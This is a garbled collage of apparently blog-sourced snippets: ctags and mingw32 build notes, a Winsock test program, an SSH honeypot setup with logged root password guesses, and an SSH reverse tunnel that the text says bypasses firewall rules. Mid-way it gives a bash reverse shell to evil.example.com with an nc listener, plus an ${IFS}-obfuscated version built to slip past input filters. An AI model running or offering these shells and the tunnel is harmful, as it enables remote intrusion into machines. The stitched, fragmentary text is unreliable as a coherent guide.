root framework3 # time ctags --exclude '.svn' \
--exclude=documentation/ --exclude=external/ \
--exclude=data --recurse .
real 0m0.742s
user 0m0.616s
sys 0m0.092s
*sigh*
root framework3 # time ctags --exclude '.svn' \
--exclude=documentation/ --exclude=external/ \
--exclude=data --recurse .
real 0m0.742s
user 0m0.616s
sys 0m0.092s
root 21810 0.0 0.4 6984 2452 pts/10 S+ 21:13 0:00 mysql -uroot -ppassword
gcc code_that_uses_math_dot_h.c -lm" and "gcc -lm code_that_uses_math_dot_h.c" as meaning exactly the same thing, mingw32-gcc is not so forgiving.
egypt@bastet ~ $ cat mintest.c
#if defined( _WIN32 )
#include <winsock2.h>
#else
typedef int SOCKET;
#include <arpa/inet.h>
#endif
#include <stdio.h>
#include <string.h>
#define PORT 1234
int main () {
struct sockaddr_in saddr;
SOCKET s;
SOCKET client;
#if defined( _WIN32 )
WSADATA w;
WSAStartup(0x101, &w);
#endif
printf("Hello world\n");
#if defined( _WIN32 )
WSACleanup();
#endif
return 0;
}
egypt@bastet ~ $ mingw32-gcc -lws2_32 mintest.c -o mintest.exe
/tmp/cc7dCAKg.o:mintest.c:(.text+0x29): undefined reference to `_WSAStartup@8'
/tmp/cc7dCAKg.o:mintest.c:(.text+0x41): undefined reference to `_WSACleanup@0'
collect2: ld returned 1 exit status
egypt@bastet ~ (1) $ ls -l mintest.exe
ls: cannot access mintest.exe: No such file or directory
egypt@bastet ~ $ mingw32-gcc mintest.c -lws2_32 -o mintest.exe
egypt@bastet ~ $ ls -l mintest.exe
-rwxr-xr-x 1 egypt egypt 13K Mar 11 21:50 mintest.exe*
egypt@bastet ~ $ file mintest.exe
mintest.exe: MS-DOS executable PE for MS Windows (console) Intel 80386 32-bit
egypt@bastet ~ $
targetbox / $ /bin/bash 3<>/dev/tcp/evil.example.com/9999 <&3 >&3 &
evil / $ nc -l -p 9999
eval${IFS}"bash${IFS:0:1}3<>/dev/tcp/evil.example.com/9999${IFS:0:1}<&3${IFS:0:1}>&3${IFS:0:1}&"
tar xzvf openssh-logger.tar.gz
cd openssh-logger
./configure --prefix /usr/honey/ \
--with-privsep-path=/usr/honey/chroot \
--with-pid-dir=/usr/honey/var/run
make
su
make install
touch /usr/honey/chroot/sshattacks.log
chown sshd:sshd /usr/honey/chroot/sshattacks.log
so your client will connect to the correct server. Now everything should be set up and you should start seeing brute force attacks in /usr/honey/chroot/sshattacks.log in no more than a couple of days.
Host <hostname>
Port <real server's port>
host: 10.0.0.100 port: 45677
user: root pass: root
user: root pass: t00r
user: root pass: r00t
ssh -nNT -R 2222:localhost:22 user@boxb.example.com &ssh user@localhost -p2222
-n Redirects stdin from /dev/null (actually, prevents reading from stdin). This must be used when ssh is run in the background.
-N Do not execute a remote command. This is useful for just forwarding ports (protocol version 2 only).
-T Disable pseudo-tty allocation.
-R [bind_address:]port:host:hostport
Specifies that the given port on the remote (server) host is to be forwarded to the given host and port on the local side. This works by allocating a socket to listen to port on the remote side, and whenever a connection is made to this port, the connection is forwarded over the secure channel, and a connection is made to host port hostport from the local machine.
...
By default, the listening socket on the server will be bound to the loopback interface only. This may be overriden by specifying a bind_address.
ssh localhost -p2222, you're connecting to the port forward that you just set up which sends your connection through an encrypted tunnel to BoxA, bypassing the firewall rules because the tunnel is already connected.~/.ssh/known_hosts.Give honest answers to honest questions, and when someone asks for the ROI of a firewall ask them for the ROI on their desk.